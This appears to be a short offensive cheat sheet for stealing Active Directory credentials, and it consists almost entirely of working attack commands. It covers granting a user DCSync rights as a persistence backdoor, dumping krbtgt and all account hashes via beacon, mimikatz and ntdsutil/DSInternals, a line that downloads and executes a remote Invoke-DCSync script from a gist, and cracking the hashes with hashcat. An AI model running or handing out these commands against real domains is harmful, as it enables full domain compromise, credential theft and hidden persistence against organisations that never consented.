DCSync Backdoor
# Enumerate
Get-DomainObjectAcl -ResolveGUIDs | where {$_.ObjectDN -eq "DC=Marvel,DC=local" -and $_.ObjectAceType -match "DS-Replication"} | select ActiveDirectoryRights,ObjectAceType,SecurityIdentifier
# Command
Add-DomainObjectAcl -TargetIdentity "DC=marvel,DC=local" -PrincipalIdentity user4 -Rights DCSync
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
NTDS Dump
NTDSutil
ntdsutil
activate instance ntds
ifm
create full C:\audit
quit
quit
Then use the DSInternals script to extract all the hashed from this dump.
# https://github.com/MichaelGrafnetter/DSInternals/releases/latest
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHiveFilePath '.\audit\registry\SYSTEM'
Get-ADDBAccount -All -DBPath '.\audit\Active Directory\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt -Encoding ascii
Mimikatz
lsadump::dcsync /domain:marvel.local /all /csv
Invoke DCSync
# https://gist.githubusercontent.com/monoxgas/9d238accd969550136db/raw/7806cc26744b6025e8f1daf616bc359cb6a11965/Invoke-DCSync.ps1
IEX (New-Object Net.WebClient).DownloadString("https://gist.githubusercontent.com/monoxgas/9d238accd969550136db/raw/7806cc26744b6025e8f1daf616bc359cb6a11965/Invoke-DCSync.ps1");
Invoke-DCSync -PWDumpFormat
Cracking
hashcat.exe -m 1000 -a 0 hashes.txt rockyou.txt
Last updated